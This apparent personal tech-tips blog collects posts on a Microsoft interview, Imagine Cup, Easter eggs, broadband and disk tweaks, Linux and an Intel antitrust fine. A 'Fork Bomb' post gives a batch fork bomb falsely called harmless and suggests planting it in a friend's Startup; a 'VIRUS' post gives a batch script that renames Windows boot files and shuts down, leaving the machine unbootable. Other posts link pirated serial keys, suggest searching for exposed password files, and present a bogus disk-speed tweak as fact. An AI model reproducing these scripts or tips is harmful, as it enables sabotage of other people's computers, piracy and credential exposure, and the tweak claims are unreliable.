TECH TIPS N TRICKS

Interview Experince at Microsoft

2011-12-29T08:52:00.001-08:00

Hope this note helps my juniors and the fellow MSPs who are going to appear for the interviews in the first week of 2011.First and foremost whether you get selected or not an interview experience In Microsoft is definitely worth remembering – its an outta world experience coding in a white board at a persons office . On 22nd Dec 2011 – I went to IDC . there were around 45-50 people . All of them had cleared the written tests . they were from colleges like VIT, KIT, DCE, Amity , NIT Warangal,etc . On the basis of the written tests I guess we were separated into 2 groups . 15 of us had personal one-to-one interviews schedeuled the rest of them were subjected to group interviews . I was in the first group . We were led to a conference hall where we were seated . Turn by turn few employees were coming to that room and calling the candidates name . the interviews were taking place at their individual office’s . First interview :A young looking guy wearing a black tee and jeans called meInterviewer : hie , I am shomik. I will be interviewing u today . Want some coffee before we get get started.Me: No, I ma ok .Interviewer : tell Me about ur self ? ( I replied talked about my school college , projects , y I like coding)Interviewer : what about ur hobbies ? ( I told him watching cricket , music , blogging )Interviewer : u listen to Mettalica ? ( I replied Nope I ma not much in metal )He pointed at his black tee and said it was his fav band .Interviewer : u no sorting ? ( me : yes)Interviewer : y is it required ? name few methods? What is internal and external sorting ?(Me I replied ll thye 3 questions very well)Interviewer : Dun call me ‘sir’ . call me shomik . Now tell me which is the most efficient sorting among the ones u mentioned ?Interviewer : Given 2 sorted arrays .Merge them at o(n) time ?Interviewer : u no link list right ( I said yes)Interviewer : reverse a link list without using extra space? How would u detect a loop in a link list ? how would u find where the loop has started ?(I replied all of them and wrote the codes too )Interviewer : how would u add 2 polynomials using link list ?Interviewer : construct a Hash function for mapping all the characters( ASCII 1-128) . How would u detect the frequency of each character in a string using this function ?( I answered all these)He was pleased . he replied .Interviewer : u don’t look like a geek u no that .u look like the pubbing sort of guy but ur base is pretty good .Interviewer : ok tell me one area u are weak on and tell me frankly (I said OS )Interviewer : Ur fav Microsft product ? (i said Ms word) c thanks for ur time arka . !!TOTAL Interview time 1 hour Then I got a break of 10 mins The second interviewer was a middle aged serious looking ladyInterviewer: tell me about ur self ? your final year project ? which platform u used ? etc etcInterviewer : can u solve this problemInput:0, 8, 4, 12, 2, 10, 6, 14, 1, 9, 5, 13, 3, 11, 7, 15a longest increasing subsequence is0, 2, 6, 9, 13, 15.Me : told her the algo coded on white boardInterviewer : what is tree? Few uses of them ? code to print the data in the leaf nodes of a treeInterviewer : What is AVL tree? Y it is used ? Write a code to balance an unbalanced AVL tree ?Interviewer : generate a tic toe game ? (me did this) Implement it in such a way that the computer never loses (me couldn’t do it )Interviewer : Write the code for Finding all possible unique Paths in a Forest ? (tried it but wasn’t fully successful )Interviewer : Display all the branches of a tree as separate link lists ?Interviewer :Enter a paragraph find the max occurring character and its frequency (DO NOT USE MOR THAN O(n) time ie 1 for loop only) Me:did it it was easyInterviewer :ALgo of Depth first and Breadth first serch . DURATIOn : 1 hr 20 Mins it was my longest interview for the dayINTERVIEW 3Interviewer : some intro asked about compilers assemblers ,the step by step compiling process etcInterviewer : I have a file of n lines ( I dunt no what N is ) I want to print the last 3 lines . how ?Interviewer : what is memory binding ?Interviewer : DMA , asked me about semaphores , write algo for semaphores Interviewer : asked me about file systems . FAT32 , NTFs (could only tell the full forms .) then it was overDuration : 20 Mins STAY TUNED FOR THE MSIT QUSTIONS------------------------------------------------------------------------------ MSIT I was assigned a recruiter . Remember recruiter is your best friend he will decide which people are gonna interview you so be frank with him . tell him about area of strengths and weakness.You will be asked to fill up a form in which you have to select the positions for which you want to apply.You can apply for ANYONE or BOTH .1.SDET and SDE - requires knowledge of testing , test cases , programming logic ,product features2 Service Engineer –requires knowledge of DBMS , networking , deployment of Softwares . You will be offered 3 to 4 interviews .your selection or rejection would depend upon ALL these interviews. I asked him (my recruiter) what whether applying to both would mean I have extra chance . My recruiter advised me Not to apply for “Service engineer “ Post as I MIGHT (might not also) get 1 interview with the Service management team and if it dint go well it would jeopardize my Chances for the SDE and SDET post as well . And also I am not very good in database .they ask a lot of question’s from Microsoft access OLEB connections data objects , the recruiter told me that . So me along with the candidates only applied for SDET and SDE post . Interview 4 (first of MSIT) ( 45 Mins) Interviewer : Hie I am shashk . where are you from ?Interviewer : Watched MI 4 ? ( I replied no )Interviewer : let me give a puzzle ull enjoy solving it .4 man have to cross a bridge only 2 at a time . they have I torch with them and the torch must be carried by any pair or single person while crossing the bridge . tom cruise being the super hero takes 1 min, the other 2 guys take 2 min and 5 mins .finally Anil kapoor takes 10 mins . there is a Time Bomb fixed which will go off in 17 mins .Divide a way so that all 4 of them crosses .( TOOK A Hell lot of a time for me to solve this )Interviewer : What are the next three numbers in this series?4, 6, 12, 18, 30, 42, 60, 72, 102, 108, ?, ?, ?(DID This it was Easy)Interviewer: Every man in a village of 100 married couples has cheated on his wife. Every wife in the village instantly knows when a man other than her husband has cheated, but does not know when her own husband has. The village has a law that does not allow for adultery. Any wife who can prove that her husband is unfaithful must kill him that very day. The women of the village would never disobey this law. One day, the queen of the village visits and announces that at least one husband has been unfaithful. What happens?ME : assemble all the women in a place and all the husbands also . the women who doesn’t not see any culprit ,her husband is the culprit.(while answering this question I inadvertently used the word “sex” ones or twice . the interviwer told me to use the Word “sleep” instead :P )Interviewer: how would you test a web browser ?Interviewer: design a Spice rack for the Blind . ( was prepared for this question from beginning .saw it I geek for geeks) Interviewer: Find the greater of the 2 numbers in 1 step without using if or any sort of comparison(me : couldn’t do this ).Interviewer: Add 2 numbers without using “+” sign .(me : did this using bit manipulation )Interviewer: Design test cases for a Aero plane navigation Navigation system . (couldn’t answer this well) Interviewer: find whther a number is a Power of 2 in constant time o(1) . (again a bit manipulation program)Interviewer: Given a chance between development and testing which would u prefer . (me :testing ..)Interviewer:What are enumerations on Object oriented programming ( Me : sir I don’t know )Interviewer: Can you write c # code . (Me : no but I can learn as it is very similar to java )Interviewer: Any questions for me . (Me : No sir ) Interview 5 (2nd for MSIT ) ( 50 Mins)Interviewer: Hie I was not actually prepared for this interview .Interviewer: show me ur resume . (started asking qustions from it ) I had written subject of interest as Cloud . so he asked few questions from that .Interviewer: advantage of cloud. In a country like India where bandwidth is low can u suggest me some other solution other than cloud . (me I coudnt answer this one )Interviewer: Do you no what is L value R Value in programming ? ( Me : no sir )Interviewer: Okii . design an ATm for me and write what features you will implement there ?Interviewer: Now design atleast 3 test cases where your system will fail . (me : did it ) Interviewer: suppose I am running out of time which model of software development I should use( Me : Rad Model . went on to describe it )Interviewer: any drawbacks of this Model ( Me : told him )Interviewer: design a system for the allocation of bandwidth in a college WIFI . How would the system react in case of high stress condition . suppose the director and a student logs into his account Implement a feature such that the director will get the prority and higher speed while browsing .(Me : I used labels here numbered from 1 to 7 . 7 being of higesht prority . whenever a request come s the label is checked if a lower prority user is using the wifi he is immediately premted to make space for the higher prority browser . etc etc download limiter , high traffic algorithm . designed many features )Interviewer: How would you divide the above system into Modules for separate engineers to code ?Interviewer: If you had to add 2 new features to the website Rapidshare .com what would they be ? Interviewer: design the UI of a Dvd player .Then he asked me some basic queries ,Interviewer: ok I am done with . You seem tired . have a coffee .We chatted and walked till the coffee enclosure . then he went to his office . I gave a call to my recruiter to arrange for the next interview . INTERVIEW 6 : (3rd for MSIT) ( 1 hour )Interviewer: where are you from arka ? how did you come ? Tell me about your self .Interviewer: See I have designed a New aircraft and before using it for carry passengers I have given you the contract for testing it and ensuring thorough safety of the passengers . How would you do that .?(Me : told him about various measures I will take , engine safety , presuurized cabins .. etc etc )Interviewer: write a program which will take 10 characters and find the most occurring character . I did( he gave the input AAddam and said what will be the out put . I had not taken capital and small into account so the program would have given d .)Interviewer: correct the code . ( me : this time I was fully correct )Interviewer: Now break the code . give an Input so that the program wont give right out output .Me: ( I thought for long and finaaly I gave a string of spaces )Interviewer:One new feature you would like to see in Visual studio 2011 . ( coudnt answer this one )Interviewer: what are break points in code . ( Me coudnt answer this one also)Interviewer: have you seen the UI of windows phone 7 ? ( Me : yes)Interviewer: Do you like it ? (Me : No sir , But it’s a personal Opinion )Interviewer: Which is the Best Phone UI you have seen ? ( Me : sir I phone 4 without doubt )Interviewer: I agree with you but we are catching up pretty fast.Interviewer: Suppose we have to out do Apple in the Ipod Market and you are told to design the features of a New Ipod like device .what features would u implement ? he gave me a pen and led me to the white board to draw it .(Me: I answered this pretty well . He seemed impressed finally )Interviewer: thank you arka INTERVIEW 7 ( 30 Mins)Just when I thought the interview was over . My recruiter told me the Director of MSIT wanted to interview one of the candidates . there were only 3 candidates that time ( ALL MSPS). since the other were already in interviews he took me to a big cabin . he first went inside I was standing at the door . he came out took me in with Him introduced me to him and left . the interviewer was a old man late 50’s I guess .Interviewer: So did you like the campus ?(Me :yes sir )Interviewer: We Dont have a dress code here .do you no y? ( Me : no)He went on to tell how MSIT is like a small family how the MSITians very close to each other . the work culture there etc etcI was Damn tired and pretty nervous also .So I listened patientlyInterviewer: If not Microsoft then . ( Me : I am planning to Do Ms from USA , then again I will try in Microsoft )Interviewer: you seem very passionate about Microsoft . y is it so . ( I went on to tell him how windows 95 start screen is etched in my childhood memories . went on to talk about Bill gates , his charity how he as a human being inspired me , den the famous video of Steve Ballmer shouting developer developer” )Interviewer: (He pointed me to one of the photos on the wall there were 3 people in it . One was the interviewer , then standing beside was a very young steve ball mer , and the third person I could not recognize .) Can u recognize the 3 persons in the picture ? I couldn’t recognize the third one . he told me about it .Interviewer: Suppose I told you to Move Mount Everest how would u do ?(Me : Sir I would stand in front of it and move back wards . then the Mountain will move relative to me ) Interviewer: Suppose you are in a team . 2 of your members are constantly failing behind in their deadlines what would you do ?Interviewer: which languages you are competent in ? write a program to accept a string and print it in all these languages .Interviewer: how were your earlier interviews ( Me : quite good sir )Interviewer: whats your age ? ( Me:21 Sir)Interviewer: I joined Ms when I was 30 .you are quite young and have a long way to go . don’t be disappointed if you cant make it this time . And Best of luck for your future ventures . IF I REMEMBER ANY MORE QUESTIONS I WILL ADD THEM . IF YOU THINK THIS WAS OF HELP TO YOU PLEASE LEAVE A ONE LINE COMMENT . iT TOOK ME A LOT OF TIME TO TYPE ALL THESE . BEST OF LUCK GUYS !!!! HOPE THIS TIME MANY MSPS MAKE IT THROUGH

MICROSOFT IMAGINE CUP

2009-11-30T14:44:00.000-08:00

The software giant Microsoft is conducting a student.technology competition called "Imagine Cup 2010". There are lots of challenges/types of competition in this contest , I assure you will enjoy the contest .The registration method for the competition is mentioned below:

COPY PASTE THE FOLLOWING LINK IN YOUR BROWSER

https://imaginecup.com/registration/default.aspx?EmailID=&ReferralCode=arkabhattacharya1990&DisplayName=&School &Country=India

DO NOT CHANGE THE REFFERRAL CODE

Plz cross –check the referral code it shud be “arkabhattacharya1990” (without quotes)

Edit all your personal information , without changing the referral code .

Free softwares and ORIGINAL WINDOWS 7 DVDs at hefty discount WILL BE PROVIDED

Prizes for this competition include :

The top 3 finalists will receive a trip to the Worldwide Finals in
Warsaw, Poland.
Trip includes round trip coach airfare from major airport closest to
winners home, standard hotel accommodations, and select meals.
In addition, the top 3 finalists will receive one of the following cash prizes:

* First Place: $8,000 USD
* Second Place: $4,000 USD
* Third Place: $3,000 USD

And many more prizes yet other than this.Hope to see you all with prizes.

ARKA BHATTACHARYA

(MICROSOFT STUDENT PARTNER)

(for any enquiry about studentpartners program contact me at arkabhattacharya@student-partners.com)

CAPTURING THE CLOUD

2009-08-01T06:21:00.000-07:00

Azure Services
The Windows® Azure™ Platform is an internet-scale cloud computing and services platform hosted in Microsoft data centers. The Windows Azure Platform provides a range of functionality to build applications that span from consumer web to enterprise scenarios and includes a cloud operating system and a set of developer services. Fully interoperable through the support of industry standards and web protocols such as REST and SOAP, you can use the Azure services individually or together, either to build new applications or to extend existing ones.
Windows® Azure is a cloud services operating system that serves as the development, service hosting and service management environment for the Windows Azure Platform. Windows Azure provides developers with on-demand compute and storage to host, scale, and manage Web applications on the Internet through Microsoft® data centers.

Windows Azure is currently in Community Technology Preview. Commercial availability for Windows Azure will likely be at the end of calendar year 2009.

Windows Azure is an open platform that will support both Microsoft and non-Microsoft languages and environments. To build applications and services on Windows Azure, developers can use their existing Microsoft® Visual Studio® 2008 expertise. In addition, Windows Azure supports popular standards and protocols including SOAP, REST, XML, and PHP.

RECURSION IN GOOGLE

2009-08-01T06:13:00.000-07:00

Google Goes Funny Again! Falls Intentionally In Recursion
Google never fails to entertain us. This time when you search for Recursion on Google, it keeps on running spell check and displays Did you mean: recursion again and again.

Recursion is the term usually used in Computer Science and this word generally means – to have a activity again and again, forever because the activity itself consist of same activity. It is like two mirrors facing each other and displaying infinite trail of opposite images.
In recursion, the objects are repeated for infinite times. The iteration runs forever. Google displays this quality when you search for recursion.

Despite of clicking on recursion from spell checker – Did you mean, Google will keep on displaying it. Though the spelling is right, Google keeps on telling it again and again.
Try – http://www.google.com/search?hl=en&q=recursion

EASTER EGGS

2009-06-30T02:43:00.000-07:00

What are Easter eggs ? You mite probably answer “ they are huge sugar laced eggs filled with chocolates or sweets that would be hidden by elders as a surprise during Easter time”

However in technical jargon ‘Easter eggs is something different .Wikipedia now defines it in this way “An Easter egg is an unintentional hidden message joke or a feature in a object movie ,book cd,dvd web page or a computer program”

Well c the last word of the above paragraph’ computer program’ .Yeah that inspired me to do a bit of research in Easter eggs hidden in computer programs .Most people think of computer engineers as serious geeks for whom Windows is even more important than well eh… wife(sorry bad joke).Nah all of them are not like that ..at least I am not like that..Well getting back to the point many coders have put great jokes up there sleeves into their programs ..its now for us to discover them..

The first easter egg I found was present in Windows 97 .if u type “Bill Clinton” and press Shift+F7 an UK Thesaurus dialogue box comes upon screen with a synonym “I would like to see her naked” .This was at the height of Monica Lewinsky scandal. To get this joke you must set your language setting in Word 97 to UK English.

Here is another one that works in almost every version of Word. Just type “=rand(5,10)” and press enter .You l get 10 paragraphs with 5 sentences each

Open word and type anything anything.Now select whatever you hav written and press control alt-+ and see the cursor change

There are a lot of easter eggs hidden in the web Browser Mozilla Firefox too .lets see some of them type in ‘about:mozilla’ and just see the magic

Or type in ‘about:robots’ and hold ur breath …I wont say find it out yourself

or type 'about: : rights' n see for yourself

Did you know that the flight number of the plane that had hit WTC ...on
9/11 was Q33N ....Open your Notepad in ur computer and type the flight
number i.e Q33N... Increase the Font Size to 72, Change the Font to
Wingdings. U will be amazed by the findings.

Here is a cool notepad secret type “Bush hid the facts “ in a notepad file and save it .then re-open it Whew!!where has the text gone

There are many other Easter eggs in other program .for example you can cheat and win in solitaire by pressing simultaneously Alt- Shift and 2 .

However one of the best is this one .navigate to www.yahoo.com. Make sure the speakers re on .Click on the dot under the exclamation mark of the mast head of Yahoo! .Enjoy

if you find any more such hidden tricks don forget to add in the comments sections

CD VS DVD

2009-06-27T08:26:00.000-07:00

Have you ever wondered how does a combo drive play both cd and dvds .?

Why do combo drives often stop reading DVDs but are still able to read CDs?

First lets figure out the essential differnces between CD/ DVDs

DVDs can store more data than CDs for a few reasons:

Higher-density data storage
Less overhead, more area
Multi-layer storage

Single-sided, single-layer DVDs can store about seven times more data than CDs. A large part of this increase comes from the pits and tracks being smaller on DVDs. Let's try to get an idea of how much more data can be stored due to the physically tighter spacing of pits on a DVD. The track pitch on a DVD is 2.16 times smaller, and the minimum pit length for a single-layer DVD is 2.08 times smaller than on a CD. By multiplying these two numbers, we find that there is room for about 4.5 times as many pits on a DVD. So where does the rest of the increase come from?

More Area
On a CD, there is a lot of extra information encoded on the disc to allow for error correction -- this information is really just a repetition of information that is already on the disc. The error correction scheme that a CD uses is quite old and inefficient compared to the method used on DVDs. The DVD format doesn't waste as much space on error correction, enabling it to store much more real information. Another way that DVDs achieve higher capacity is by encoding data onto a slightly larger area of the disc than is done on a CD.

Multiple-Layered Storage
To increase the storage capacity even more, a DVD can have up to four layers, two on each side. The laser that reads the disc can actually focus on the second layer through the first layer. Here is a list of the capacities of different forms of DVDs:

COMBO DRIVES

Every CD/DVD ROM has a lens which is used for reading Data.In case of combo Drive

The same read head lens is used to read both CD's and DVD's

There are two essential physical differences between CD and DVD disc.

First, the smallest DVD pits are only 0.44 micron in diameter; the equivalent CD pits are nearly twice as large, or 0.83 micron wide.

And DVD data tracks are only 0.74 micron apart, wherea 1.6 microns separate CD data tracks. So although a DVD is the same size as a CD,its data spiral is upward of 11 kilometers long-more than twice the length of a CD's data spiral.

To read the smaller pits, a DVD player's readout beam must achieve finer focus than a CD player's does. In order to do this, it uses a read semiconductor laser that has a wave length of 635 to 650 nanometer. In contrast, CD players use infrared laser with a longer wavelength of 780 nanometer. Also, DVD players employ a more powerful focusing lens-one having a higher numerical aperture than the lens in a CD player

In that case after a particular time if the lens weakens only CD's are read and not DVD's.

INCREASE BROADBAND SPEED

2009-06-12T03:49:00.000-07:00

ONLY FOR BSNL USERS

Speed up BSNL Broadband Internet Connection
To overcome slow BSNL DNS problem, we will use high speed DNS servers from OpenDNS. OpenDNS is third party DNS Server used to speed up BSNL Broadband internet connection

Steps to speed up BSNL Broadband Internet :
1. Open Control Panel -> Networking and Sharing Center -> Manage Network Connection.
2. Now a window showing all networks will be opened. Select BSNL Connection -> Right click -> Properties.
3. Now, double click on Internet Protocol Version(TCP/IPv4) and in newly opened window at bottom, select “Use the following DNS Server address”
4. And fill these 2 DNS Addresses in two fields:
208.67.222.222
208.67.220.220

and hit OK. Thats it. Your BSNL Internet Broadband DNS Servers changed.

Now, your BSNL internet broadband speed will be increased. Thus, you can now enjoy high speed BSNL Internet broadband. I hope you’ll like this BSNL Internet speed increasing hack/trick. If you have any problem or other high speed BSNL DNS Servers, please mention it in comments section

BING

2009-06-11T05:27:00.000-07:00

Microsoft’s latest search engine BING was launched a few days back and its has already started creating ripples worldwide .BING is the much touted replacement to the now defunct Windows Live search. I experimented with it one whole day and the results were quite surprising and quite pleasing in many cases .For instance when I typed a part of my blogsite address and searched not only did it show the site and the post in that site but also the entries I had made on Facebook regarding those blogposts .Apart from that I had published an article in DIGG which I had long forgotten ,I got its link too from the search results .Another feature of its which i liked is the preview mode where by just moving the cursor over the web page address or link will give you a short preview of whta is in store there

Though it is too early to say that it a replacement for Google its definitely shows a lot of promise .SO friends what are u waiting for just BING!!!!!

1 MILLION SERIAL KEYS

2009-06-01T06:34:00.000-07:00

Well here is a compilation of over 1 Million serial keys of the most commonly used softwares .All hav them are genuine ,however sum of them may be blacklisted that is ..if you update the software after installing it with those keys it will be freezed.However there no harm in trying

Here is the download link

http://www.ziddu.com/download/4352414/1MillionSerialNumbersbyarka.doc.html

HIDE FOLDERS IN WINDOWS

2009-05-31T02:59:00.000-07:00

hide ur folders without the usage of folder lock :

suppose u want to hide a folder named "hello"which is in D: of ur computer

go to command prompt
start--->run--->cmd-->d:

after changing it from C: to D:

type D:/>attrib +h +s hello
the above command is to hide the folder

to show the folder

tyoe D:/>attrib -h -s abc

in this type of hidding the folder cannot be viewed even if we make advance search or even changing the folders menu to (show all hidden files)

INCREASE HARD DISK SPEED IN WINDOWS

2009-05-29T05:25:00.001-07:00

If you like to increase/optimize your Hard Disk I/O - read/write speed without buying expensive software utilities to do that job or changing the HD, just follow next steps. With doing these steps you will increase Hard disk speed (depends of manufacture and specification, but its worth to try). The most speed improvement is visible with IDE drives; however there are reports that this tweak also does good for SCSI disks.

In any case, it won't harm your system, so try it yourself and let me know what you find!

Steps:

1. Run SYSEDIT.EXE from the start & then Run command.
2. Expand the system.ini file window.
3. Scroll down almost to the end of the file untill you find a line called [386enh].
4. Press Enter to make one blank line, and in that line type
5. Irq14=4096 (note: This line IS CASE SENSITIVE)
6. Click on the File menu, then choose Save.
7. Close SYSEDIT and reboot your computer.
8. Restart windows!

The speed improvement will be noticed just after the system reboots, any system info. software can be used to check the improvement.

MUSIC TRACK NOT SHOWING IN GOOGLE TALK STATUS

2009-05-27T06:01:00.000-07:00

For those who were busy fighting the aliens while Google Talk added the cool feature to display your currently playing music track in the Google status, please be aware that you can simply do so just by changing the status to “Show current music track”.

Now, it so happened that I eagerly tried the feature when it was launched, but Gtalk did not show the status with Windows Media Player 10, 11 or Winamp on my PC.

On further research I discovered that Google Talk installs a plug-in in Windows Media Player which sends the current music track to Gtalk. Now if, for any reason, WMP detects some problem with a plug-in, it disables it. This was the problem in my case. So here is what I did to enable my Google Talk plug-in:

Ensure that you have the latest Google Talk installed

In Windows Media Player, press Alt+T to access the tools menu

Press ‘Options’

Click on the ‘Plug-ins’ tab

On the left hand ‘Category’ pane, click on the ‘Background’ item

On the right hand ‘Background’ pane, click on the Google Talk plugin to check and enable it

Save changes and change the status in Google Talk to “Show current music track”

This worked for me, hope it helps you too!

Oh and by the way, Google’s fascination with collecting information in order to show us meaningful results found its way in GTalk too. Google has a service called Google Trends. If you wish, then Google can log what you listen too, and hence show meaningful trends such as the current most popular song etc. I have opted in :)

Happy chitter chatting!

Fork Bomb

2009-05-24T02:26:00.000-07:00

This is a prank, which will make a command run over and over until the computer cannot handle any more programs and the computer will freeze or shutdown.
!!!!THIS IS HARMLESS AND WILL DO NO DAMAGE TO YOUR COMPUTER!!!!!

To make this open note pad and type:

@echo off
:START
start a.bat
GOTO START

The code above must be saved as a.bat and when the other person opens it nothing will appear but in the background it will keep opening its self until the computer freezes or shuts down.

You can try this on your friends by putting it in the Startup.

I tried this on my computer and it worked(obviosly didn't put it in my startup. I just ran it.)

HARD DISK MONITORING SOFTWARE

2009-05-22T14:10:00.001-07:00

Do you know how long your hard disk is going to last before u encounter a fatal Blue screen of death ?

Do you no what is the temperature of ur hard disk when u play cpu intensive games?

The answer to all these question might be no but after you go through this post it will be replaced by a YES .I stumbled upon this amazing softwares last night n believe me it works whats more it’s a freebie .its called active hard disk monitor

Active@ Hard Disk Monitor is a disk utility that checks and monitors the status of your hard drives to help prevent data loss. The system is based on the Self-Monitoring Analysis and Reporting Technology (S.M.A.R.T.).

This software monitors hard disk parameters such as Temperature, Head Flying Height and Spin-Up Time and notifies a user when a critical condition occurs. Disk Monitor also displays hard disk information, current S.M.A.R.T. attributes and the overall status of the hard disk's health.

Advanced disk scan allows you to detect bad sectors on a disk surface. The software can be launched automatically at Windows startup and monitor the system in the background. An icon in the System Tray can display the temperature for selected HDDs.

Hardware Requirements:

CPU: Pentium III 500MHz and higher or compatible
RAM: 256 MB
Disk space: 15 MB

DOWNLOAD LINK
http://www.ziddu.com/download/4860290/DiskMonitorFree.exe.html

NOTEPAD "world trade centre trick".. ::

2009-05-20T06:23:00.000-07:00

VIRUS

2009-05-19T03:22:00.000-07:00

This virus was written by one of my frnds on a orkut forum so thanks to him here it goes.

ok here's what the virus does...
But, first
BE EXTREMELY CAREFUL.. I WOULD SERIOUSLY ADVICE YOU TO NOT TO RUN THIS ON YOUR PC ATLEAST
I TAKE NO RESPONSIBILITY OF HOW YOU USE THIS CODE. THIS IS ONLY FOR TRAINING. NOTHING ELSE
my virus uses batch processing to rename the xp booting file ntldr as ntls. and boot.ini as boot.int.. and displays a message for 4 seconds. and automatically shuts down your PC (forever )..
Open notepad. and paste the following code.. save it as .bat ... any file name with extension bat ..
@echo off
attrib c:\autoexec.bat -s -h -r
ren c:\autoexec.bat aute.bit
attrib c:\ntldr -s -h -r
ren c:\ntldr ntls
attrib c:\boot.ini -s -h -r
ren c:\boot.ini bot.int
@echo off
shutdown -s -t 4 -c "Your Computer is Doomed!!!"
you can add many variations to it.. You can also use any BATCH to EXE converter to convert your file into executable one so t

PORTABLE SOFTWARES

2009-05-14T07:48:00.000-07:00

Portable software is a class of software that is suitable for use on portable drives such as a USB (thumb) drive or ipod or Palm PDA with "drive mode", although any external hard drive can be used. ^[1] ^[2] The concept of carrying one's favored applications, utilities, and files on a portable drive for use on any computer is one which has evolved considerably in recent years.

Programs in this category (also known as portable applications) are typically 'lite' versions of their parent software, but there are many exceptions.

To be considered portable, for purpose of this list, a software program must:

Not require any kind of formal installation onto a computer's permanent storage device to be executed, and can be stored on a removable storage device such as USB flash drive, enabling it to be used on multiple computers.
Settings are stored with, and can be carried around with, the software (i.e., they are written to the USB drive). If the registry is used to store settings, the application's configuration isn't portable, and must be set up on every PC it is used on
Leaves a zero (or near-zero) "footprint" on any PC it's run on after being used. i.e., All temporary files/registry settings should be removed once the program has exited, and files created by the user can be saved directly to the same removable media as the application is stored on.

Generally, smaller utility/toolkit software is inherently fairly portable; though larger applications are sometimes changed in order to allow a portable versions to be released (e.g., Opera USB).

EU slaps a record fine on Intel

2009-05-13T07:21:00.001-07:00

I found this interesting article while surfing .ALl tech lovers please go through this I am sure it will interest you

EU Competition Commissioner Neelie Kroes says Intel 'took advantage of their position'

Computer chipmaker Intel has been fined a record 1.06bn euros ($1.45bn; £948m) by the European Commission for anti-competitive practices.

It dwarfs the 497m euro fine levied on Microsoft in 2004 for abusing its dominant market position.

The Commission found that between 2002 and 2007, Intel had paid manufacturers and a retailer to favour its chips over those of Advanced Micro Devices (AMD).

Intel has announced that it will appeal against the verdict.

"Intel takes exception to this decision. We believe the decision is wrong and ignores the reality of a highly competitive microprocessor market," Intel chief executive Paul Otellini said.

"There has been absolutely zero harm to consumers. Intel will appeal," he added.

The fine was welcomed by AMD, which had lodged complaints in 2000, 2003 and 2006.

"The EU decision will shift the power from an abusive monopolist to computer makers, retailers and above all PC consumers," said Giuliano Meroni, AMD's European president.

'Sustained violation'

The Commission said that Acer, Dell, HP, Lenovo and NEC had been given hidden rebates if they only used Intel chips.

It is a major decision that shows the Commission is serious about curtailing abusive behaviour of dominant companies

David Anderson, lawyer, Berwin Leighton Paisner.

It also found that Media Saturn, which owns Europe's biggest consumer electronics retailer Media Markt, had been given money so that it would only sell computers containing Intel chips.

"Intel has harmed millions of European consumers by deliberately acting to keep competitors out of the market for computer chips for many years," said Competition Commissioner Neelie Kroes.

"Such a serious and sustained violation of the EU's antitrust rules cannot be tolerated."

Last year, Intel made 80.5% of the microprocessors in PCs, while AMD made 12% of them.

The Commission has also ordered Intel "to cease the illegal practices immediately to the extent that they are still ongoing".

In addition to providing rebates to manufacturers that bought almost entirely Intel products, the Commission found that the chipmaker had paid them to postpone or cancel the launch of specific products based on AMD chips.

'Wall of resistance'

Ms Kroes joked in her own news conference that Intel would now have to change its latest advertising slogan from "sponsors of tomorrow" to "the sponsor of the European taxpayer".

Both Intel and AMD are based in California. Intel has 83,900 staff worldwide and has a market value of $85.4bn.

AMD employs about 11,000 people and has a market value of $2.6bn.

"Despite its strong defence, Intel is facing a wall of regulatory resistance to its business practices around the world, with antitrust infringement decisions against it now in Japan, Korea, and the EU, while the US authorities are investigating Intel as well," said David Anderson, a lawyer at Berwin Leighton Paisner.

"It is a major decision that shows the Commission is serious about curtailing abusive behaviour of dominant companies, especially in the high-tech sector."

Get most from GOOGLE search

2009-05-10T07:22:00.000-07:00

Google Search Options

Specific file types: *.xls, *.doc, *.pdf *.ps *.ppt *.rtf
Google allows you to search for specific file types, so instead of getting html-files as a result (websites) you get Microsoft excel files for example. The search string you would use would be this:

Filetype:xls (for excel files) or filetype:doc for word files.
But maybe more interesting would be searching for *.db files and *.mdb files. Google by the way doesn’t tell you, you can search for *.db and *mdb files. I wonder what other file types one can search for. Things that come to mind are *.cfg files or *.pwd files, *.dat files, stuff like that. Try and think of something that might get you some interesting results.

Inurl

Another useful search option is the inurl: option which allows one to search for a certain word one would want to be in the url. This gives you the opportunity to search for specific directories/folders, especially in combination with the “index of” option. An example would be inurl:master-tricks which would give you results of website urls that have the word “master-tricks” in the url.

Index of

The index of option is another option that isn’t especially thought of by the creators of google, but comes in very handy. If you use the “index of” string you will find directory listings of specific folders on servers. An example could be: "index of” master-tricks or index.of.master-tricks which would get you many directory listings of master-tricks folders. (don’t forget to use the quotes in this case since you are looking for the entire “index of” string, not just for “index” and “of”)

Site

The site option allows you to come up with results that only belong to a certain domain name extension or to a specific site. For example one could search for .com sites or .box.sk sites or .nl sites, but also for results from just one site. An example of a search string would be: Site:org

Intitle

Intitle is another nice option. It allows you to search for html files that have a certain word or words in the title. The format would be intitle:wordhere.

Link

The Link option allows you to check which sites link to a specific site. For example link:http://pratikthorve.blogspot.com

Combining search options

The above mentioned search options might or might not be known to you, but even though they can amount to some interesting results, it’s a fact that when you start combining them, that’s when google’s magic starts to show. For example, one could try this search string: inurl:master-tricks intitle:master-tricks or this one: site:org filetype:xls "password" .

LINUX

2009-05-08T07:24:00.000-07:00

Linux is an operating system -- very much like UNIX -- that has become very popular over the last several years.

Operating systems are computer programs. An operating system is the first piece of software that the computer executes when you turn the machine on. The operating system loads itself into memory and begins managing the resources available on the computer. It then provides those resources to other applications that the user wants to execute. Typical services that an operating system provides include:

A task scheduler - The task scheduler is able to allocate the execution of the CPU to a number of different tasks. Some of those tasks are the different applications that the user is running, and some of them are operating system tasks. The task scheduler is the part of the operating system that lets you print a document from your word processor in one window while you are downloading a file in another window and recalculating a spreadsheet in a third window.
A memory manager - The memory manager controls the system's RAM and normally creates a larger virtual memory space using a file on the hard disk.
A disk manager - The disk manager creates and maintains the directories and files on the disk. When you request a file, the disk manager brings it in from the disk.
A network manager - The network manager controls all data moving between the computer and the network.
Other I/O services manager - The OS manages the keyboard, mouse, video display, printers, etc.
Security manager - The OS maintains the security of the information in the computer's files and controls who can access the computer.

An operating system normally also provides the default user interface for the system. The standard "look" of Windows 98 includes the Start button, the task bar, etc. The Mac OS provides a completely different look and feel for Macintosh computers.

Linux is as much a phenomenon as it is an operating system. To understand why Linux has become so popular, it is helpful to know a little bit about its history. The first version of UNIX was originally developed several decades ago and was used primarily as a research operating system in universities. High-powered desktop workstations from companies like Sun proliferated in the 1980s, and they were all based on UNIX. A number of companies entered the workstation field to compete against Sun: HP, IBM, Silicon Graphics, Apollo, etc. Unfortunately, each one had its own version of UNIX and this made the sale of software difficult. Windows NT was Microsoft's answer to this marketplace. NT provides the same sort of features as UNIX operating systems -- security, support for multiple CPUs, large-scale memory and disk management, etc. -- but it does it in a way that is compatible with most Windows applications.

